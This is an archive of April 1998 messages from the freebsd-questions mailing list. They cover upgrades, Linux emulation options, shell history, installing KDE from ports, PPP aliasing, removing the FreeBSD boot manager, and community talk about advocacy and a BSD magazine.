2.2.1-RELEASE For the 2 2.2.1-RELEASE boxes I should just be able to make world and compile a new kernel, shouldn't I? I can see trouble with the 2.1.6 box, but should the 2.2.1 boxes upgrade OK? Thanks in advance, Gavin Cameron []------------------------------------+-------------------------------------[] | Gavin Cameron | ITworks Consulting | | Ph : 0418 390350 | Suite 100, 85 Grattan Street | | Fax : +61 3 9347 6544 | Carlton, Victoria | | Email : gavin@itworks.com.au | Australia, 3053 | []------------------------------------+-------------------------------------[] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:38:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA20684 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:38:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA20671 for ; Fri, 10 Apr 1998 19:38:42 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 10962 invoked from network); 11 Apr 1998 02:38:36 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 02:38:36 -0000 Received: from barnowl.roost.net (apm7-217.realtime.net [204.96.0.217]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id VAA09501; Fri, 10 Apr 1998 21:38:34 -0500 Message-ID: <352ED90C.41C67EA6@bga.com> Date: Fri, 10 Apr 1998 21:45:49 -0500 From: John Kenagy Organization: sculpture X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: atc@npr.org CC: questions@FreeBSD.ORG Subject: LinuxOS Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Interesting, but there are other operating systems that are free and they have a history that goes back further than Linux. I use FreeBSD, a decendant of the Berkely Unix developed to run on big systems. It is powerful, stable, and has a more coherent development plan. It is fully supported by the development team and a list of volunteers on several mailing lists. If I were still in the computer business, it would be my choice. It is not a moving target like Linux' "committee" idea makes it. John Kenagy Austin, Texas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 19:52:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA22578 for freebsd-questions-outgoing; Fri, 10 Apr 1998 19:52:35 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id TAA22569 for ; Fri, 10 Apr 1998 19:52:27 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 49044 invoked from network); 11 Apr 1998 02:52:24 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 02:52:24 -0000 Received: from barnowl.roost.net (apm7-217.realtime.net [204.96.0.217]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id VAA11556; Fri, 10 Apr 1998 21:52:20 -0500 Message-ID: <352EDC98.167EB0E7@bga.com> Date: Fri, 10 Apr 1998 21:59:36 -0500 From: John Kenagy Organization: sculpture X-Mailer: Mozilla 3.01 (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: love@tap.org CC: questions@FreeBSD.ORG Subject: Linux as an alternative to Microsoft Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mr. Love, I appreciate your work and the lifelong efforts of Mr. Nader. However, there are other, and in my opinion, better options than Linux. I use FreeBSD (www.FreeBSD.org), a decendant of the Berkeley Unix. I beleive it to be more stable than Linux since Linux suffers from one of Microsoft's major flaws: trying to be everything to all. Linux also relies on development to come from several directions. Not a good thing - especially on a system you may make your living with. FreeBSD has a dedicated development team and a large group of volunteers who man the mailing lists, responding in their areas of expertise. The best news is that it is free. Or yu can purchase it from several major book chains for less than a Windows upgrade, with an excellent book by Greg Lehey , "The Complete FreeBSD". If you have questions, let us know! Keep up the good work, John Kenagy Austin, Texas To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 20:08:07 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA23758 for freebsd-questions-outgoing; Fri, 10 Apr 1998 20:08:07 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA23694 for ; Fri, 10 Apr 1998 20:06:58 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id WAA05341; Fri, 10 Apr 1998 22:06:50 -0500 (EST) (envelope-from toor) From: "John S. Dyson" Message-Id: <199804110306.WAA05341@dyson.iquest.net> Subject: Re: options LINUX In-Reply-To: from "Jason C. Wells" at "Apr 10, 98 05:58:56 pm" To: jcwells@u.washington.edu Date: Fri, 10 Apr 1998 22:06:50 -0500 (EST) Cc: freebsd-questions@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL38 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Is this redundant? > > options LINUX > options COMPAT_LINUX > AFAIK, options LINUX loads the entire linux emulator into the kernel. options COMPAT_LINUX allows the LKM (and perhaps options LINUX) to work. John To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 20:22:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA24921 for freebsd-questions-outgoing; Fri, 10 Apr 1998 20:22:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from shell6.ba.best.com (jkb@shell6.ba.best.com [206.184.139.137]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA24876 for ; Fri, 10 Apr 1998 20:21:49 -0700 (PDT) (envelope-from jkb@best.com) Received: from localhost (jkb@localhost) by shell6.ba.best.com (8.8.8/8.8.BEST) with SMTP id UAA17950; Fri, 10 Apr 1998 20:21:47 -0700 (PDT) X-Authentication-Warning: shell6.ba.best.com: jkb owned process doing -bs Date: Fri, 10 Apr 1998 20:21:47 -0700 (PDT) From: Jan Koum X-Sender: jkb@shell6.ba.best.com To: "Jason C. Wells" cc: Dima Dorfman , freebsd-questions@FreeBSD.ORG Subject: Re: History In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG csh is yet another. :) last command: "!!" command before last "!-1" *grin* -- Yan Jan Koum jkb@best.com | "Turn up the lights; I don't want www.FreeBSD.org -- The Power to Serve | to go home in the dark." On Fri, 10 Apr 1998, Jason C. Wells wrote: >On Fri, 10 Apr 1998, Dima Dorfman wrote: > >> Hi: >> >> I'm having problems using the history. I know it's supposed to be stored >> in .history (using sh), and used by pushing the up & down keys. Well, it >> doesn't work! First, it isn't getting stored, and second, when I push up, >> it prints '^[[A' on the console. >> >> Thanks for any help in advance! >> Dima > >You must be using a shell which supports the history mechanism. 'bash' >is one such shell. 'tcsh' is another. > >Have fun, | Stop warning me about the latest virus. Learn more... >Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 20:22:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA25119 for freebsd-questions-outgoing; Fri, 10 Apr 1998 20:22:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hotmail.com (f13.hotmail.com [207.82.250.24]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA25042 for ; Fri, 10 Apr 1998 20:22:34 -0700 (PDT) (envelope-from rebel2000@hotmail.com) Received: (qmail 21135 invoked by uid 0); 11 Apr 1998 03:22:04 -0000 Message-ID: <19980411032204.21133.qmail@hotmail.com> Received: from 205.242.231.30 by www.hotmail.com with HTTP; Fri, 10 Apr 1998 20:22:04 PDT X-Originating-IP: [205.242.231.30] From: "Doug Rebel" To: freebsd-questions@FreeBSD.ORG Subject: BIG Problem Content-Type: text/plain Date: Fri, 10 Apr 1998 20:22:04 PDT Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Whom It May Concern, I installed FreeBsd and i want to uninstall it. It put something in to my system files because when i bootup my computer(without the disk) it says something like "F1....?? Default..F1". I need to know every thing that it writes into system file like bootup and command.com...etc. Thank You ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 20:29:34 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA26551 for freebsd-questions-outgoing; Fri, 10 Apr 1998 20:29:34 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA26529 for ; Fri, 10 Apr 1998 20:29:12 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul6.u.washington.edu (root@saul6.u.washington.edu [140.142.82.1]) by jason03.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id UAA22440; Fri, 10 Apr 1998 20:29:11 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul6.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id UAA14962; Fri, 10 Apr 1998 20:29:10 -0700 (PDT) Date: Fri, 10 Apr 1998 19:27:58 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: "David G. Bertagni" cc: freebsd-questions@FreeBSD.ORG Subject: Re: kde on 2.2.5 CDROM? In-Reply-To: <3.0.5.32.19980410221541.007d8790@popmail.voicenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, David G. Bertagni wrote: > First, I was to say thanks for producing FreeBSD. I've been fooling around > with many Unix and Unix like systems for some time and I find that FreeBSD > just "feels right". Keep up the good work. Thank you for the kind words. > Now on to the stupid user questions: > > 1) Is kde on the 2.2.5 CDROM? The docs imply that it is but I can't find > it. If not where is the best site to get it from? I personnaly like the latest and greatest kde. I would install it this way. The best way to install the latest port of KDE is too grab the port from the FreeBSD website or ftp site. Put the port in /usr/ports/x11/kde. Cd to /usr/ports/x11/kde. Then do 'make'. When you type 'make' the latest and bestest tarfiles will be fetched, patched, and built for you. Then do 'make install' to finish the job. I believe the tarfile is fetched from a kde.org server but I am not sure. Have fun, | Stop warning me about the latest virus. Learn more... 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To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:02:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA01906 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:02:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.force9.co.uk [195.166.136.63]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA01829 for ; Fri, 10 Apr 1998 21:00:49 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id DAA23749; Sat, 11 Apr 1998 03:23:05 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804110223.DAA23749@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: Mark Cartwright cc: freebsd-questions@FreeBSD.ORG Subject: Re: updated user PPP In-reply-to: Your message of "Fri, 10 Apr 1998 20:30:28 CDT." <352EC7B4.CE84C1EF@mindspring.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 03:23:04 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hello. I am (still) using 2.2.2-RELEASE and the user PPP that came > with it. I have packet aliasing working, but cannot get it to alias > Internet games to my private network that use UDP. I have gotten the > impression that the new(?) version of PPP supports the 'alias' command > to force the aliasing of specific packet types on specific ports from > within the PPP interface, but cannot get the source for PPP to compile > on my system as gotten from the FTP site. Any help here, or a bin, or > .tgz file would be greatly appreciated. :-/ What error(s) are you getting ? > If it helps at all, the games I am trying to get to work specifically > are Starcraft and Quake. Thanks very much in advance. > > Mark Cartwright -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:09:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA02928 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:09:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id VAA02914 for ; Fri, 10 Apr 1998 21:09:42 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 5118 invoked from network); 11 Apr 1998 04:09:39 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 04:09:39 -0000 Received: from barnowl (apm7-193.realtime.net [204.96.0.193]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id XAA21739; Fri, 10 Apr 1998 23:09:36 -0500 Date: Fri, 10 Apr 1998 23:16:22 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl To: Doug Rebel cc: freebsd-questions@FreeBSD.ORG Subject: Re: BIG Problem In-Reply-To: <19980411032204.21133.qmail@hotmail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It would seem that you had a failed install. The prompt you see would nomally have something like: F1....DOS F2....BSD Default F2 It is a program called Boot Manager and allows you to choose which OS to start. Go to the FreeBSD site and carefully read all directions there. Good Luck! John On Fri, 10 Apr 1998, Doug Rebel wrote: > To Whom It May Concern, > > I installed FreeBsd and i want to uninstall it. It put something > in to my system files because when i bootup my computer(without the > disk) it says something like "F1....?? Default..F1". > I need to know every thing that it writes into system file like bootup > and command.com...etc. > Thank You > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:17:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA04747 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:17:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.netcetera.dk (root@sleipner.netcetera.dk [194.192.207.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA04737 for ; Fri, 10 Apr 1998 21:17:09 -0700 (PDT) (envelope-from leifn@image.dk) Received: (from uucp@localhost) by mail.netcetera.dk (8.8.8/8.8.8) with UUCP id GAA11897 for freebsd-questions@freebsd.org; Sat, 11 Apr 1998 06:16:09 +0200 Received: by swimsuit.swimsuit.roskildebc.dk (0.99.970109) id AA05978; 11 Apr 98 02:20:23 +0100 From: leifn@image.dk (Leif Neland) Date: 10 Apr 98 13:48:43 +0100 Subject: remote mount dos fs? Message-ID: References: <19980407170749.49912@marso.com> Organization: Fidonet: Swimsuit Safari. Go for it. To: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07 Apr 98 23:07:49 "Larry S. Marso" wrote regarding remote mount dos fs? "S> Any special trick to remote mounting a dos file system (scsi) "S> disk? "S> "S> Actually, it's a jaz drive. When I boot up with a msdos files "S> system and mount_msdos on the server machine, my client (with "S> full export authority) can't mount the dos fs. I mount_msdos some disks on the server, and the client can't see the difference between dos and unix-disks. Apart from permissions and long filenames of cause. Leif Neland leifn@internet.dk --- |Fidonet: Leif Neland 2:234/49 |Internet: leifn@image.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:45:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA10273 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:45:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA10263; Fri, 10 Apr 1998 21:45:19 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (ediorung-17.mdm.mke.execpc.com [169.207.76.145]) by mailgw02.execpc.com (8.8.8) id XAA18702; Fri, 10 Apr 1998 23:45:11 -0500 (CDT) Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id XAA16358; Fri, 10 Apr 1998 23:44:57 -0500 (CDT) Message-Id: <199804110444.XAA16358@darkstar.connect.com> Date: Fri, 10 Apr 1998 23:44:49 -0500 (CDT) From: Frank Pawlak Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" To: kline@thought.org cc: opsys@mail.webspan.net, jkh@time.cdrom.com, dshanes@personalogic.com, brett@lariat.org, freebsd-questions@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: <199804101747.KAA15159@tao.thought.org> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Gary, Glad to have you aboard. The brain storming has begun and many ideas or already on the table.. So far the FreeBSD core team has been relatively silent. It would be better when the input starts to flow from those folks too. I am sure they have been down this road before, and will have much to contribute. Without them this could appear as a "native" uprising. Regards, Frank On 10 Apr, Gary Kline wrote: > > We need a starting point. A number of years ago I saw the > first issue of the Linux magazine. Then heard no more > about it. I was pleased that at last the Free Unix world > has a real (paper) rag in circulation; and the following > year when I began running FreeBSD I thought that it would > be nice if this Linux pub could be merged in with the FBSD > world. > > <> > > Well, I've heard the buzzer there. But it still leaves open > the issue of having a pay-for or free FBSD publication. > Quarterly at first; then perhaps bi-monthly. > > I've seen one of the ``Announcement'' circulars from WC//FBSD. > Could this serve as our house organ? Say 4 to 8 pages for the > first few issues. And expanding. > > I was a writer several lifetimes ago, and altho tech writing > is nearly beyond me (it ain't easy, folks), I'd be willing > to invest time in a *BSD magazine. > > There are hundreds or thousands among the BSD users more > skilled than I, so should be no lack of articles. We could > also have an online magazine; either ASCII-only or HTML > distributed by email. > > Publicizing the Berkeley Software Distribution will require > sweat; and imagination. It shouldn't take that much capital. > > gary > >> > > -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:46:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA10926 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:46:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from phobos.illtel.denver.co.us (abelits@phobos.illtel.denver.co.us [207.33.75.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA10262; Fri, 10 Apr 1998 21:45:19 -0700 (PDT) (envelope-from abelits@phobos.illtel.denver.co.us) Received: from localhost (abelits@localhost) by phobos.illtel.denver.co.us (8.8.8/8.6.9) with SMTP id VAA11621; Fri, 10 Apr 1998 21:47:35 -0700 Date: Fri, 10 Apr 1998 21:47:35 -0700 (PDT) From: Alex Belits To: Giao Nguyen cc: Derek Laufenberg , hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" In-Reply-To: <19980410130143.40104@calweb.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 10 Apr 1998, Giao Nguyen wrote: > > Thanks for letting me vent a bit. I am truely impressed with the quality > > of FreeBSD. It has the potential to be a silver bullet, but it needs > > killer applications - WORD & Excel. > > We don't need no silly Word & Excel. We've got sendmail. :) If we won't, there will always be presence of Windows on every desktop, proprietary fromats everywhere and therefore constant threat of complete Windows takeover even if the number of FreeBSD installations will increase hundreds of times. There should be a way to do all work without Microsoft products, and that means even a desktop-only things. Actually originally Linux-only desktop projects may be of significant help to FreeBSD even if they won't run on it and will only come with, say, Red Hat (worst scenario) -- that can bring people _somewhere_ outside of "buy Microsoft" captivity, and everything but yet another proprietary thing will be better. I can loudly declare "I am not accepting Word and Excel files in my email, and everyone whose email I won't see because of those formats can blame himself", and happily work in Unix-only environment, however a lot of people can't do the same thing, and it will be nice to help them. -- Alex To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:49:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA12770 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:49:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ix.netcom.com (sil-wa2-23.ix.netcom.com [206.214.137.55]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA12641 for ; Fri, 10 Apr 1998 21:49:20 -0700 (PDT) (envelope-from tomdean@ix.netcom.com) Received: (from tomdean@localhost) by ix.netcom.com (8.8.8/8.8.8) id VAA03972; Fri, 10 Apr 1998 21:48:43 -0700 (PDT) (envelope-from tomdean) Date: Fri, 10 Apr 1998 21:48:43 -0700 (PDT) Message-Id: <199804110448.VAA03972@ix.netcom.com> From: Thomas Dean To: jcwells@u.washington.edu CC: questions@FreeBSD.ORG, info@cdrom.com In-reply-to: (jcwells@u.washington.edu) Subject: Re: Walnut Creek WWW Page. Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My eyes must be failing or we are looking at different pages. There is no red "ORDER NOW" button on http://www.cdrom.com/ as there is for The Internet MEGA-PAK, Linux Red Hat 5.0 (February 1998), SDE - Developer's Courseware (February 1998), or Internet Info. FreeBSD is on another page, and like I said, the "Powered by ..." is at the bottom of the page. I think FreeBSD 2.2.6 should have a red "ORDER NOW" button on http://www.cdrom.com. tomdean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:50:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA13215 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:50:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA13146 for ; Fri, 10 Apr 1998 21:50:18 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.none.com (fwasc21-38.flash.net [209.30.56.38]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id XAA11583 for ; Fri, 10 Apr 1998 23:50:16 -0500 (CDT) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Message-ID: X-Mailer: XFMail 1.1 [p0] on FreeBSD X-PRIORITY: 2 (High) Date: Fri, 10 Apr 1998 22:37:35 -0500 (CDT) Organization: Student To: freebsd-questions@FreeBSD.ORG Subject: Help with error msg? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can someone help me with this error msg? Script started on Wed Apr 8 20:35:44 1998 # make instta_ __ _all_ >> Checksum OK for xspread2.1.tar.gz._ ===> Building for xspread-2.1_ env: gmake: No such file or directory_ *** Error code 1_ _ Stop._ *** Error code 1_ _ Stop._ *** Error code 1_ _ Stop._ # ^D__exit_ Script done on Wed Apr 8 20:37:08 1998 ---------------------------------- E-Mail: anthony@sohopros.com Date: 10-Apr-98 Time: 22:37:35 This message was sent by XFMail ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:50:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA13312 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:50:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from rembrandt.artnet.net (mail2.artnet.net [207.155.25.8] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA13218 for ; Fri, 10 Apr 1998 21:50:31 -0700 (PDT) (envelope-from mdj@artnet.net) Received: from mdj (ppp154.artnet.net [207.155.25.154]) by rembrandt.artnet.net (8.8.6/8.8.5) with ESMTP id VAA06090 for ; Fri, 10 Apr 1998 21:53:03 -0700 (PDT) Message-Id: <199804110453.VAA06090@rembrandt.artnet.net> From: "MDJ" To: Subject: ed1: timeout Date: Fri, 10 Apr 1998 21:43:47 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am having a problem with my ethernet card: ed1:timeout - error keeps showing up I am not quite sure how to change the ed0/de0 entry. Please explain. thanks, jdm@anet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:53:24 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA14480 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:53:24 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA14470 for ; Fri, 10 Apr 1998 21:53:15 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (ediorung-17.mdm.mke.execpc.com [169.207.76.145]) by mailgw01.execpc.com (8.8.8) id EAA25152; Sat, 11 Apr 1998 04:53:13 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id XAA16374; Fri, 10 Apr 1998 23:53:08 -0500 (CDT) Message-Id: <199804110453.XAA16374@darkstar.connect.com> Date: Fri, 10 Apr 1998 23:53:06 -0500 (CDT) From: Frank Pawlak Subject: Re: BIG Problem To: rebel2000@hotmail.com cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <19980411032204.21133.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Apr, Doug Rebel wrote: > To Whom It May Concern, > > I installed FreeBsd and i want to uninstall it. It put something > in to my system files because when i bootup my computer(without the > disk) it says something like "F1....?? Default..F1". > I need to know every thing that it writes into system file like bootup > and command.com...etc. > Thank You What in particular are you trying to remove? If you want to delete the FreeBSD files a disk format will take care of that. If it is the boot loader, run fdisk /mbr from a DOS boot disk frank > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Apr 10 21:59:35 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA16111 for freebsd-questions-outgoing; Fri, 10 Apr 1998 21:59:35 -0700 (PDT) 